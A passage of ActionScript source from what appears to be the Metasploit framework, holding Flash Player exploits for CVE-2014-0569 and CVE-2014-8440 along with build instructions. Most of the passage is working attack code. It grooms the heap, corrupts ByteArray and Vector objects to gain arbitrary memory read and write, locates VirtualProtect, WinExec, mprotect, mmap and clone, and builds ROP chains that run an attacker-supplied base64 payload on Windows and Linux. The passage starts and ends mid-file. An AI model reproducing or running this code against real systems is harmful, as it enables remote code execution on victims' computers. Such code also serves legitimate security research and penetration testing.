eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code skeleton by @hdarwin89 for other exploits
package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(100)
private var uv:Vector.<Object> = new Vector.<Object>(100)
private var uv_index:uint
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Main()
{
var i:uint = 0
var j:uint = 0
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}
ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"
for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1014)
uv[i][0] = 0x41424344
}
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
for (i = 1; i < ov.length; i++) {
ov[i][2] = stack
ov[i][3] = payload_space
}
ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
var main:uint = read_byte_array(object_vector_pos + 8) - 1
var uint_vector_pos:uint = search_uint_vector()
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
for (i = 0; i < uv.length; i++) {
if (uv[i].length > 1024) {
uv_index = i
uv[i][0] = uint_vector_address
break
}
}
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
byte_write(uv[uv_index][0], orig_length)
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
// Methods to use the integer overflow
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
var next_length:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos != 0x41424344) {
return i;
}
}
return -1;
}
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i;
}
}
return -1;
}
private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
// Methods to use the corrupted vector for arbitrary reading/writing
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

72
external/source/exploits/CVE-2014-0569/PE.as vendored Executable file
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package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

235
external/source/exploits/CVE-2014-8440/Elf.as vendored Executable file
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package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Exploit extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
for (var i:uint = 0; i < object_vector.length; i++) {
if (i != corrupted_uv_index)
object_vector[i] = null
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
this.object_vector[i] = new Vector.<uint>()
i++
}
i = 0
while (i < this.object_vector_length)
{
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
}
}

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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 114
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(10000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
